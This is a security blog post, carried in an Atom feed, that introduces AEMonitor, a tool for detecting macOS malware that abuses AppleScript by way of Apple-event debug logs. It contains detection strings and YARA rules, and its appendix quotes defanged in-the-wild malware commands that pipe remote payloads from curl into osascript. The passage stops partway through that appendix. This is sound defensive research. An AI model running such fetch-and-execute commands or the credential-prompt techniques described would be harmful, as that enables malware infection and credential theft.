<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://pberba.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://pberba.github.io/" rel="alternate" type="text/html" /><updated>2026-02-22T02:47:45+00:00</updated><id>https://pberba.github.io/feed.xml</id><title type="html">pepe berba</title><subtitle>stats, security, and crypto
</subtitle><author><name>Pepe Berba</name></author><entry><title type="html">AEMonitor: Monitoring Apple Events for Malware Analysis and Detection</title><link href="https://pberba.github.io/security/2026/02/21/aemonitor/" rel="alternate" type="text/html" title="AEMonitor: Monitoring Apple Events for Malware Analysis and Detection" /><published>2026-02-21T00:00:00+00:00</published><updated>2026-02-21T00:00:00+00:00</updated><id>https://pberba.github.io/security/2026/02/21/aemonitor</id><content type="html" xml:base="https://pberba.github.io/security/2026/02/21/aemonitor/"><![CDATA[<h3 id="tldr">TLDR</h3>

<p>Recent macOS malware commonly abuses AppleScript through <code class="language-plaintext highlighter-rouge">osascript</code> or Script Editor. Detection rules for these rely on specific strings being present when <code class="language-plaintext highlighter-rouge">osascript</code> is used. If the AppleScript is not run inline, these detections break and we need to rely on other indicators to detect the malware.</p>

<p>This post demonstrates how we can use macOS Unified Logs to monitor for Apple event debug logs. With these logs, we can observe activities that were difficult to piece together with just process creation and file creation events. <a href="https://github.com/pberba/AEMonitor">AEMonitor</a> is a tool that allows us to stream and parse these Apple event debug logs and recover pseudocode using my previous <a href="https://pberba.github.io/security/2025/12/14/decompiling-run-only-applescripts/">AppleScript decompiler research</a>.</p>

<p><img src="/assets/posts/20260221/00-macsync.png" alt="" />
<em>Logs from a MacSync sample</em></p>

<h3 id="hiding-from-the-command-line">Hiding from the command line</h3>

<p>Here is a table of techniques that abuse <code class="language-plaintext highlighter-rouge">osascript</code> along with sample detections:</p>

<table>
  <thead>
    <tr>
      <th>Technique</th>
      <th>Strings to find in the command line arguments</th>
      <th>Sample Rules</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Fake Password Prompt</td>
      <td><code class="language-plaintext highlighter-rouge">osascript -e ... display dialog ... with hidden answer</code> and <code class="language-plaintext highlighter-rouge">password</code></td>
      <td><a href="https://github.com/jamf/jamfprotect/blob/34e1c6c6e1c96d79ab0e760d2cb0f6cea7f8aa38/custom_analytic_detections/applescript_dialog_activity.yaml#L10">rule 1</a>, <a href="https://github.com/Pent/bincapz/blob/cb4e8f4bf3ac137a8355653209be2f156ae6de0b/rules/ref/program/osascript.yara#L15">rule 2</a>, <a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/macos/credential_access_promt_for_pwd_via_osascript.toml#L63">rule 3</a>, <a href="https://redcanary.com/threat-detection-report/techniques/applescript/#:~:text=command_includes%20(%27osascript%27%20%20%26%26%20%27display%20dialog%27%20%26%26%20%27password%27)">rule 4</a></td>
    </tr>
    <tr>
      <td>Hidden Login Items Added</td>
      <td><code class="language-plaintext highlighter-rouge">osascript -e ... login item</code></td>
      <td><a href="https://github.com/elastic/detection-rules/blob/cf6472005a64805453f868248895884c43725b6f/rules/macos/persistence_creation_hidden_login_item_osascript.toml">rule</a></td>
    </tr>
    <tr>
      <td>Volume Muted via osascript</td>
      <td><code class="language-plaintext highlighter-rouge">osascript</code> and <code class="language-plaintext highlighter-rouge">set volume with output muted</code></td>
      <td><a href="https://github.com/elastic/protections-artifacts/blob/473c8536449c12f4e6bf1dc7de4fbded217592a5/behavior/rules/macos/execution_volume_muted_via_osascript.toml#L14C56-L14C84">rule</a></td>
    </tr>
    <tr>
      <td>Clipboard Data Collection via osascript</td>
      <td><code class="language-plaintext highlighter-rouge">osascript</code> and <code class="language-plaintext highlighter-rouge">clipboard</code></td>
      <td><a href="https://github.com/SigmaHQ/sigma/blob/dc3880459dee068819025a826f9053a4f303daec/rules/macos/process_creation/proc_creation_macos_clipboard_data_via_osascript.yml#L25">rule 1</a>, <a href="https://github.com/jamf/jamfprotect/blob/34e1c6c6e1c96d79ab0e760d2cb0f6cea7f8aa38/custom_analytic_detections/applescript_gather_clipboard.yaml#L10">rule 2</a></td>
    </tr>
    <tr>
      <td>Hiding Terminal via osascript</td>
      <td><code class="language-plaintext highlighter-rouge">tell application "Terminal" to set visible of the front window to false</code></td>
      <td>…</td>
    </tr>
  </tbody>
</table>

<p>While these detections are useful, we have seen malware execute <code class="language-plaintext highlighter-rouge">osascript</code> <em>without</em> passing its scripts inline. <a href="https://objective-see.org/blog/blog_0x84.html">Objective-See’s The Mac Malware of 2025</a> gives an overview of some recent ones. One recent example is <a href="https://www.virustotal.com/gui/file/b8f713be3f9cce6d03fb60a233c4e08181015a5a8c8486b83683589d70d4c213/">MacSync</a>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -k -s ... "http://.../dynamic?txd=$token" | osascript
</code></pre></div></div>

<p>For a more complete overview of examples we’ve seen in the wild, see <a href="/security/2026/02/21/aemonitor/#appendix-how-to-hide-from-the-command-line">Appendix: How to hide from the command line</a>.</p>

<h4 id="the-problem">The Problem</h4>

<p>Aside from actions that use <code class="language-plaintext highlighter-rouge">do shell script</code>, if attackers aren’t using inline scripts when using <code class="language-plaintext highlighter-rouge">osascript</code>, it’s not immediately clear whether alternative telemetry exists that can help us detect some of these techniques, or if telemetry does exist, it’s hard to piece them together:</p>
<ul>
  <li><strong>Login Item Added:</strong> There is an <a href="https://developer.apple.com/documentation/endpointsecurity/es_event_type_notify_btm_launch_item_add">ESF Launch Item Added Event</a>; however, we won’t be able to link it back to the original process and need to rely on timing.</li>
  <li><strong>Fake Password Prompt:</strong> As far as I know, there is no alternative. We just need to detect the validation of the harvested credential (like using <code class="language-plaintext highlighter-rouge">dscl</code>)</li>
  <li><strong>Tell Application X</strong>: Similar to the login item use case, when <code class="language-plaintext highlighter-rouge">osascript</code> sends commands to other applications, there may not be a clear link between <code class="language-plaintext highlighter-rouge">osascript</code> and the actions of the target application. Let’s say a <a href="https://github.com/MythicAgents/apfell/tree/2323cb3b45f9f91adb3e71b32e88fb33e48d14ff">Mythic apfell implant</a> uses <a href="https://github.com/MythicAgents/apfell/blob/2323cb3b45f9f91adb3e71b32e88fb33e48d14ff/documentation-payload/apfell/commands/terminals_send.md#L4">terminals_send</a>, it may be hard to distinguish between Terminal actions typed by the user and those sent by the implant.</li>
</ul>

<h3 id="monitoring-apple-events">Monitoring Apple Events</h3>

<p>A key insight I got from working on the <a href="https://pberba.github.io/security/2025/12/14/decompiling-run-only-applescripts/">AppleScript decompiler</a> is that many actions performed via <code class="language-plaintext highlighter-rouge">osascript</code> are just Apple events under the hood. When you run <code class="language-plaintext highlighter-rouge">display dialog "..."</code>, the AppleScript runtime translates it into Apple events that get sent between applications. If we can observe events at the Apple event layer, we can monitor this behavior regardless of whether the script came from <code class="language-plaintext highlighter-rouge">osascript -e</code>, a compiled <code class="language-plaintext highlighter-rouge">.scpt</code> file, or Script Editor.</p>

<h4 id="apple-event-debug-output">Apple Event Debug Output</h4>

<p>To begin monitoring Apple events, we look at their debug output. When going through the <a href="https://applescriptlibrary.wordpress.com/wp-content/uploads/2013/11/apple-events-programming-guide.pdf">Apple Events Programming Guide</a>, I encountered the environment variables <code class="language-plaintext highlighter-rouge">AEDebugReceives</code> and <code class="language-plaintext highlighter-rouge">AEDebugSends</code>. When a process has these set, the Apple events it produces are printed out.</p>

<p>Let’s say this is <code class="language-plaintext highlighter-rouge">sample.scpt</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>display dialog "This is the sample description" default answer "" with hidden answer
set volume with output muted
</code></pre></div></div>

<p>Running this produces the following Apple Event debug output:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ AEDebugReceives</span><span class="o">=</span>1 <span class="nv">AEDebugSends</span><span class="o">=</span>1  osascript ./sample.scpt
<span class="o">{</span>syso,dlog <span class="nv">target</span><span class="o">=</span><span class="s1">'psn '</span><span class="o">[</span>osascript] <span class="o">{</span><span class="nv">dtxt</span><span class="o">=</span>utxt<span class="o">(</span>0/<span class="nv">$)</span>,htxt<span class="o">=</span><span class="nb">true</span><span class="o">(</span>0/<span class="nv">$)</span>,----<span class="o">=</span>utxt<span class="o">(</span>60/<span class="nv">$540068006900730020006900730020007400680065002000730061006d007000</span>...<span class="o">)}</span> attr:<span class="o">{</span><span class="nv">subj</span><span class="o">=</span>NULL-impl,csig<span class="o">=</span>65536<span class="o">}</span> <span class="nv">returnID</span><span class="o">=</span>798<span class="o">}</span>
<span class="o">{</span>aevt,stvl <span class="nv">target</span><span class="o">=</span><span class="s1">'psn '</span><span class="o">[</span>osascript] <span class="o">{</span><span class="nv">mute</span><span class="o">=</span><span class="nb">true</span><span class="o">(</span>0/<span class="nv">$)</span><span class="o">}</span> attr:<span class="o">{</span><span class="nv">subj</span><span class="o">=</span>NULL-impl,csig<span class="o">=</span>65536<span class="o">}</span> <span class="nv">returnID</span><span class="o">=</span>24722<span class="o">}</span>
</code></pre></div></div>

<p>Depending on what the target is, these keywords (such as <code class="language-plaintext highlighter-rouge">dlog</code>, <code class="language-plaintext highlighter-rouge">stvl</code>, <code class="language-plaintext highlighter-rouge">dtxt</code>, <code class="language-plaintext highlighter-rouge">htxt</code>, …) can be looked up in an <code class="language-plaintext highlighter-rouge">.sdef</code> file or the <a href="https://developer.apple.com/library/archive/releasenotes/AppleScript/ASTerminology_AppleEventCodes/TermsAndCodes.html">Apple Event Codes</a>.</p>

<p>For the example above, we can reference <a href="https://github.com/JXA-userland/JXA/blob/4ad161a3ee56eb7e3e406ad20e9a19f0343132da/packages/%40jxa/types/tools/sdefs/StandardAdditions.sdef#L552">StandardAdditions.sdef</a>.</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Keyword</th>
      <th>Name</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">sysodlog</code></td>
      <td><code class="language-plaintext highlighter-rouge">display dialog</code></td>
      <td>N/A</td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">dtxt</code></td>
      <td><code class="language-plaintext highlighter-rouge">default answer</code></td>
      <td><code class="language-plaintext highlighter-rouge">utxt(0/$)</code></td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">htxt</code></td>
      <td><code class="language-plaintext highlighter-rouge">hidden answer</code></td>
      <td><code class="language-plaintext highlighter-rouge">true(0/$)</code></td>
    </tr>
    <tr>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">----</code></td>
      <td>direct parameter</td>
      <td><code class="language-plaintext highlighter-rouge">utxt(60/$...</code></td>
    </tr>
  </tbody>
</table>

<p><img src="/assets/posts/20260221/01-keyword-search.png" alt="" /></p>

<p><strong>Limitation:</strong> Strings use the format <code class="language-plaintext highlighter-rouge">utxt(&lt;length&gt;/$&lt;hex encoded&gt;)</code>. The encoded string is truncated at 32 bytes, and after stripping null bytes, we typically get a maximum of 16 readable characters. So if we convert the Apple event debug output above back into AppleScript, we would get</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>display dialog "This is the samp..." default answer "" hidden answer
</code></pre></div></div>

<p>If you want to learn more about this, I go into more detail in <a href="https://pberba.github.io/security/2025/12/14/decompiling-run-only-applescripts/#sending-apple-events">Sending Apple Events</a>. Additonally, to understand the <code class="language-plaintext highlighter-rouge">{want=...,from=...,seld=...,form=...}</code> structure, see <a href="https://developer.apple.com/library/archive/documentation/mac/pdf/Interapplication_Communication/Specify_And_Find_AE_Objs.pdf">Resolving Object Specifier Records</a></p>

<h4 id="unified-logs">Unified Logs</h4>

<p>Using <code class="language-plaintext highlighter-rouge">AEDebugSends</code> was interesting, but this only applies to processes we manually run. How do we enable and collect this for <em>all</em> processes that use AppleScript? It turns out, these debug logs can be collected through macOS’ Unified Logs!</p>

<p>By querying the subsystem <code class="language-plaintext highlighter-rouge">com.apple.appleevents</code> and streaming <code class="language-plaintext highlighter-rouge">--debug</code> logs, we can find Apple event debug output in the <code class="language-plaintext highlighter-rouge">eventMessage</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ log stream --predicate 'subsystem=="com.apple.appleevents"' --debug
...
2026-02-20 00:22:05.969519+1100 0xa28c0    Debug       0x0                  6132   0    osascript: (AE) [com.apple.appleevents:main] sendToSelf(), event={syso,dlog target='psn '[osascript] {dtxt=utxt(0/$),htxt=true(0/$),----=utxt(60/$540068006900730020006900730020007400680065002000730061006d007000...)} attr:{subj=NULL-impl,csig=65536} returnID=-29954} reply=0xNULL-impl sendMode=1043 timeout=7200
...
</code></pre></div></div>

<p>After going through the logs, I’ve focused on log entries with <code class="language-plaintext highlighter-rouge">event=</code> or <code class="language-plaintext highlighter-rouge">reply=</code> that contain the event debug output.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ log stream --predicate 'subsystem=="com.apple.appleevents" AND (eventMessage contains "event={" OR eventMessage contains "reply={")'   --debug
</code></pre></div></div>

<p><img src="/assets/posts/20260221/02-event-reply.png" alt="" /></p>

<p>Now, the <code class="language-plaintext highlighter-rouge">sysodlog</code> event refers to the Apple event that creates a prompt to the user. The <code class="language-plaintext highlighter-rouge">aevtansr</code> event is the output of <code class="language-plaintext highlighter-rouge">display dialog</code>, which captures which button was clicked and what text the user entered. We are able to link the two events through the <code class="language-plaintext highlighter-rouge">returnID=22427</code> field.</p>

<p>With this, we can:</p>
<ol>
  <li>See the display dialog being created</li>
  <li>Read the responses from the user</li>
</ol>

<h4 id="private-data">Private Data</h4>

<p>If you test this, you’ll quickly find that certain actions don’t appear in the debug logs. These are typically commands that include <code class="language-plaintext highlighter-rouge">tell application X</code>. These commands are redacted with <code class="language-plaintext highlighter-rouge">&lt;private&gt;</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>OSStatus sendToModernProcess(mach_port_t, UInt32, const AppleEvent *, UInt32, AESendMode)(port=(port:126211/0x1ed03 send:2 limit:0) msgID=0 timeout 7200 event=&lt;private&gt;
</code></pre></div></div>

<p>To see the Apple events sent between applications, we need to <a href="https://www.jamf.com/blog/unified-logs-how-to-enable-private-data/">enable private data in Unified Logs</a>.</p>

<p>An added bonus of enabling private data is that we also see interesting strings with the <code class="language-plaintext highlighter-rouge">cloneForCompatability(</code> event. This is something also <a href="https://www.youtube.com/watch?v=V6VnQ-h4K-o">mentioned by Fouad Animashaun in his talk</a>. It isn’t clear to me when this log is generated. Regardless, it has some useful strings:</p>
<ul>
  <li>The start of scripts that <code class="language-plaintext highlighter-rouge">osascript</code> executes</li>
  <li>For some <code class="language-plaintext highlighter-rouge">utxt</code> that are truncated in the <code class="language-plaintext highlighter-rouge">event={...}</code> body, we can see more of the string in <code class="language-plaintext highlighter-rouge">cloneForCompatability</code></li>
</ul>

<p><img src="/assets/posts/20260221/03-clone-raw.png" alt="" />
<em>Why is “compatibility” spelled incorrectly? 🤷</em></p>

<p>The strings in <code class="language-plaintext highlighter-rouge">clone...</code> get truncated at around 1000 characters and if we combine these with the raw of the the events we have, we get a pretty good picture of the actions that was done by `osascript.</p>

<p><img src="/assets/posts/20260221/03-clone-strings.png" alt="" /></p>

<h4 id="telemetry-coverage">Telemetry Coverage</h4>

<p>To test <code class="language-plaintext highlighter-rouge">AEMonitor</code>, we use the following benchmark script.</p>

<script src="https://gist.github.com/pberba/0229c5d39e8628a1dfbb2ee97372ddd6.js"></script>

<p>We run this in two configurations: with and without private data enabled.</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Action</th>
      <th style="text-align: center">With Private Data</th>
      <th style="text-align: center">Default</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left">Preview of scripts</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">❌</td>
    </tr>
    <tr>
      <td style="text-align: left">Mute Volume</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">✅</td>
    </tr>
    <tr>
      <td style="text-align: left">Run Command on Terminal</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">❌</td>
    </tr>
    <tr>
      <td style="text-align: left">Hide Terminal window</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">❌</td>
    </tr>
    <tr>
      <td style="text-align: left">Add new login item</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">❌</td>
    </tr>
    <tr>
      <td style="text-align: left">List Disks</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">❌</td>
    </tr>
    <tr>
      <td style="text-align: left">Access contents of clipboard</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">✅</td>
    </tr>
    <tr>
      <td style="text-align: left">Write a file to /tmp/</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">✅</td>
    </tr>
    <tr>
      <td style="text-align: left">Display Fake Password Prompt</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">✅</td>
    </tr>
    <tr>
      <td style="text-align: left">Use Finder to duplicate Safari cookies</td>
      <td style="text-align: center">* ✅</td>
      <td style="text-align: center">❌</td>
    </tr>
    <tr>
      <td style="text-align: left">Run Script</td>
      <td style="text-align: center">✅</td>
      <td style="text-align: center">✅</td>
    </tr>
    <tr>
      <td style="text-align: left">Actions using Objective-C API</td>
      <td style="text-align: center">❌</td>
      <td style="text-align: center">❌</td>
    </tr>
  </tbody>
</table>

<p>Notes:</p>
<ul>
  <li>For <em>Use Finder to duplicate Safari cookies</em>, although <code class="language-plaintext highlighter-rouge">duplicate file</code> action is visible, we don’t see the full picture. Because the strings are truncated, we won’t always see what exact file was created.</li>
  <li>The <code class="language-plaintext highlighter-rouge">run script</code> action itself is seen, but you just get the first 16 characters of the script.</li>
  <li>Anything with <code class="language-plaintext highlighter-rouge">tell application</code> <em>needs</em> private data enabled to be observed</li>
  <li>Private data gives us the first 1000-ish character of scripts being run</li>
  <li>Using ObjC frameworks into the osascript don’t generate Apple events, and is outside the scope of this tool.</li>
</ul>

<p><img src="/assets/posts/20260221/04-no-private-data.png" alt="" />
<em>telemetry by default</em></p>

<p><img src="/assets/posts/20260221/05-with-private-data.png" alt="" />
<em>telemetry with private data enabled</em></p>

<h4 id="using-aemonitor-for-malware-analysis">Using AEMonitor for malware analysis</h4>

<p>The most immediate use case is dynamic malware analysis: enable private data, run your sample, and use AEMonitor to parse the unified logs. You can run the tool in <code class="language-plaintext highlighter-rouge">stream</code> mode.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>aemonitor stream
</code></pre></div></div>

<p>Or collect the logs and parse them afterwards:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Configure unified logs to persist Apple event debug logs</span>
<span class="nb">sudo </span>log config <span class="nt">--subsystem</span> com.apple.appleevents <span class="nt">--mode</span> level:debug,persist:debug

<span class="c"># After running the sample, collect the logs</span>
log collect

<span class="c"># Parse the logs</span>
aemonitor parse ./system_logs.logarchive
</code></pre></div></div>

<h4 id="hunting-and-building-detections">Hunting and Building Detections</h4>

<p>In the same way that PowerShell Script Block Logging has been invaluable for defenders of Windows hosts, I hope that this approach becomes useful for those of us who are trying to defend macOS hosts. Admittedly, this approach isn’t as complete and powerful as PowerShell Script Block Logging. Even without enabling private data in the Unified Logs, we can still build some useful detections or indicators by just collecting the debug logs of the <code class="language-plaintext highlighter-rouge">com.apple.appleevents</code> subsystem.</p>

<p>With something equivalent to <code class="language-plaintext highlighter-rouge">log stream --predicate 'subsystem=="com.apple.appleevents" AND (eventMessage contains "event={" OR eventMessage contains "reply={")' --debug</code></p>

<table>
  <thead>
    <tr>
      <th>Technique</th>
      <th>Strings to find in the <code class="language-plaintext highlighter-rouge">eventMessage</code></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Fake Password Prompt</td>
      <td><code class="language-plaintext highlighter-rouge">syso,dlog</code>, <code class="language-plaintext highlighter-rouge">givu=150</code>, <code class="language-plaintext highlighter-rouge">dtxt=utxt(0\/$)</code>, <code class="language-plaintext highlighter-rouge">htxt=true(0\/$)</code></td>
    </tr>
    <tr>
      <td>Volume Muted via osascript</td>
      <td><code class="language-plaintext highlighter-rouge">aevt,stvl*mute=true(0/$)</code></td>
    </tr>
    <tr>
      <td>Clipboard Data Collection via osascript</td>
      <td><code class="language-plaintext highlighter-rouge">Jons,gClp</code></td>
    </tr>
    <tr>
      <td>Obfuscation using <code class="language-plaintext highlighter-rouge">(ASCII Character X)</code></td>
      <td>repeated uses <code class="language-plaintext highlighter-rouge">syso,ntoc</code></td>
    </tr>
    <tr>
      <td>Run Hidden TMP Script from <code class="language-plaintext highlighter-rouge">tmp</code></td>
      <td><code class="language-plaintext highlighter-rouge">syso,dsct</code>  with <code class="language-plaintext highlighter-rouge">2f0074006d0070002f002e00</code></td>
    </tr>
  </tbody>
</table>

<p>Similar detections can be made with the other techniques if we enable private data, you may also want to filter for <code class="language-plaintext highlighter-rouge">cloneForCompatability</code> in your predicate. I’ve only focused on ASCII text since most of the <code class="language-plaintext highlighter-rouge">utxt</code> in <code class="language-plaintext highlighter-rouge">cloneForCompatability</code> are already in the <code class="language-plaintext highlighter-rouge">event={}</code> and <code class="language-plaintext highlighter-rouge">reply={}</code> logs.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>log stream <span class="nt">--predicate</span> <span class="s1">'subsystem=="com.apple.appleevents" AND (eventMessage contains "event={" OR eventMessage contains "reply={" OR eventMessage contains "cloneForCompatability(s=\"")'</span> <span class="nt">--debug</span>
</code></pre></div></div>

<p>If you want to use the <code class="language-plaintext highlighter-rouge">AEMonitor</code> as a module, there is an exposed <code class="language-plaintext highlighter-rouge">enrich_unified_log</code> python function to experiment with.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">aemonitor</span> <span class="kn">import</span> <span class="n">enrich_unified_log</span>

<span class="n">enrich_unified_log</span><span class="p">({</span>
    <span class="s">"eventMessage"</span><span class="p">:</span> <span class="s">"sendToSelf(), event={syso,exec ..."</span><span class="p">,</span>
    <span class="s">"processImagePath"</span><span class="p">:</span> <span class="s">"/usr/bin/osascript"</span>
<span class="p">})</span>
<span class="c1"># this adds an `appleEvent` field
</span></code></pre></div></div>

<p>As the project is still in its early days, the AppleScript produced by the tool may not be stable for production use. I would recommend making detections directly on the raw <code class="language-plaintext highlighter-rouge">eventMessage</code> of the Unified Logs.</p>

<p><strong>How stable is this? Is it possible that the format of the Apple events debug output would change?</strong></p>

<p>Hopefully it stays stable 🤞. A similar approach to this is <a href="https://github.com/PhorionTech/Kronos">PhorionTech/Kronos</a> which monitors the TCC debug logs, and they did mention minor changes in the format of the logs (see: <a href="https://objectivebythesea.org/v6/talks/OBTS_v6_lRoberts_cHall.pdf">The Clock is TCCing</a>). Looking around, we can find <a href="https://stackoverflow.com/questions/53621146/get-apple-events-from-applescript#comment94136801_53621226">debug output</a> from 7 years ago and it doesn’t seem like it has changed since.</p>

<h4 id="example-converting-yara-rules-into-detections">Example: Converting YARA rules into detections</h4>

<p>Recently Apple released some updates on to XProtect that included some rules with AppleScript. Let’s take two examples and see</p>

<h5 id="macososascriptduenha">MACOS.OSASCRIPT.DUENHA</h5>

<pre><code class="language-yara">rule XProtect_MACOS_OSASCRIPT_DUENHA {
    meta:
        description = "MACOS.OSASCRIPT.DUENHA"
        uuid = "BD3F3491-8A81-43C4-84F7-23CB3DFC4931"
        interpreter = "osascript"

    strings:
        # "=$(echo ?? |"
        $a0 = { FF F3 00 ?? 03 FF F2 00 3D 03 FF F1 00 24 03 FF F0 00 28 03 FF EF 00 65 03 FF EE 00 63 03 FF ED 00 68 03 FF EC 00 6F 03 FF EB 00 20 03 FF EA 00 ?? 03 FF E9 00 7C 03 } 
        # "base64
        $a1 = { FF E0 00 62 03 FF DF 00 61 03 FF DE 00 73 03 FF DD 00 36 03 FF DC 00 34 03 FF DB }
        $a2 = "sysodsct"
        $a3 = "sysoexec"

    condition:
        OSACompiled and all of them and filesize &lt; 1MB
}
</code></pre>

<p>This tries to detect an obfuscation technique using <a href="https://pberba.github.io/security/2025/12/14/decompiling-run-only-applescripts/#ascii-character-x">ASCII Character X</a> which I’ve shown ITW example previously. Luckily, this results in an Apple event!</p>

<p>Running something like</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>do shell script (ASCII character 117) &amp; (ASCII character 110) &amp; (ASCII character  97) &amp; (ASCII character  109) &amp; (ASCII character  101)
</code></pre></div></div>

<p>We see</p>

<p><img src="/assets/posts/20260221/06-obfuscation.png" alt="" /></p>

<p>Repeated usage of <code class="language-plaintext highlighter-rouge">syso,ntoc</code> prior to <code class="language-plaintext highlighter-rouge">do shell script</code> or <code class="language-plaintext highlighter-rouge">run script</code> could be a red flag for obfuscation.</p>

<h5 id="macososascriptduap">MACOS.OSASCRIPT.DUAP</h5>

<pre><code class="language-yara">rule XProtect_MACOS_OSASCRIPT_DUAP {
    meta:
        description = "MACOS.OSASCRIPT.DUAP"
        uuid = "6EF56AD6-B1B7-4C7A-AB07-6AFA01303173"
        interpreter = "osascript"

    strings:
        $a0 = { 74 00 6d 00 70 00 3a 00 2e 00 ?? 0a } # /tmp/.
        $a1 = "sysodsct"

    condition:
        OSACompiled and all of them and filesize &lt; 1MB
}
</code></pre>

<p>Running a script like <code class="language-plaintext highlighter-rouge">osascript -e "run script \"/tmp/test.scpt\""</code> we get the following event from the enriched Unified Log</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
    </span><span class="nl">"processImagePath"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/usr/bin/osascript"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"eventMessage"</span><span class="p">:</span><span class="w"> </span><span class="s2">"sendToSelf(), event={syso,dsct target='psn '[osascript] {----=utxt(30/$2f0074006d0070002f002e0074006500730074002e007300630070007400)} attr:{subj=NULL-impl,csig=65536} returnID=-30919} reply=0xNULL-impl sendMode=1043 timeout=7199"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"appleEvent"</span><span class="p">:</span><span class="w">
    </span><span class="p">{</span><span class="w">
        </span><span class="nl">"event"</span><span class="p">:</span><span class="w">
        </span><span class="p">{</span><span class="w">
            </span><span class="nl">"raw"</span><span class="p">:</span><span class="w"> </span><span class="s2">"{syso,dsct target='psn '[osascript] {----=utxt(30/$2f0074006d0070002f002e0074006500730074002e007300630070007400)} attr:{subj=NULL-impl,csig=65536} returnID=-30919}"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"return_id"</span><span class="p">:</span><span class="w"> </span><span class="mi">-30919</span><span class="p">,</span><span class="w">
            </span><span class="nl">"applescript"</span><span class="p">:</span><span class="w"> </span><span class="s2">"run script </span><span class="se">\"</span><span class="s2">/tmp/.test.scpt</span><span class="se">\"</span><span class="s2">"</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>We could look for <code class="language-plaintext highlighter-rouge">syso,dsct</code>  with <code class="language-plaintext highlighter-rouge">2f0074006d0070002f002e00</code></p>

<h3 id="appendix-how-to-hide-from-the-command-line">Appendix: How to hide from the command line</h3>

<p>This section goes through several examples demonstrating the many ways attackers can invoke <code class="language-plaintext highlighter-rouge">osascript</code>.</p>

<h4 id="curl-piped-to-osascript">Curl piped to osascript</h4>

<p><code class="language-plaintext highlighter-rouge">osascript</code> allows scripts to be piped via STDIN, which lends itself easily to patterns like <code class="language-plaintext highlighter-rouge">curl &lt;url&gt; | osascript</code>. <a href="https://objective-see.org/blog/blog_0x84.html#:~:text=As%20noted%20by%20Jamf%2C%20this%20downloads%20an%20obfuscated%2C%20Base64%2Dencoded%20script.%20At%20its%20core%2C%20that%20script%20retrieves%20and%20executes%20several%20additional%20payloads%3A">Digit Stealer</a>, <a href="https://objective-see.org/blog/blog_0x84.html#:~:text=set%20startsrc%20to%20%22curl%20%2Ds%20%22%20%26%20quoted%20form%20of%20(activedomain%20%26%20%22get.php%3Foid%3D%22%20%26%20BuildTXD)%20%26%20%22%20%7C%20osascript%22">Phexia</a>, <a href="https://objective-see.org/blog/blog_0x84.html#:~:text=curl%20%2Ds%20%2DA%20curl1%2Dmac%20%22hxxp%5B%3A%5D//web071zoom%5B.%5Dus/fix/audio%2Dtr/7217417464%22%20%7C%20osascript%20%3E/dev/null%202%3E%261%20%26">BlueNoroff</a>, and <a href="https://securitylabs.datadoghq.com/articles/tech-impersonators-clickfix-and-macos-infostealers/#execution">MacSync</a> all have had variants use this at some point in their chain of execution.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">nohup </span>curl <span class="nt">-fsSL</span> hxxps://67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/1e5234329ce17cfcee094aa77cb6c801.aspx | osascript <span class="nt">-l</span> JavaScript <span class="o">&gt;</span>/dev/null 2&gt;&amp;1 &amp;
</code></pre></div></div>

<h4 id="run-script-from-file">Run script from file</h4>

<p><a href="https://objective-see.org/blog/blog_0x84.html#:~:text=%3Cstring%3E/usr,gfskjsnghdjsvuxj%3C/string%3E">Phexia</a> launched <code class="language-plaintext highlighter-rouge">osascript</code> as part of its persistence method:</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;dict&gt;</span>
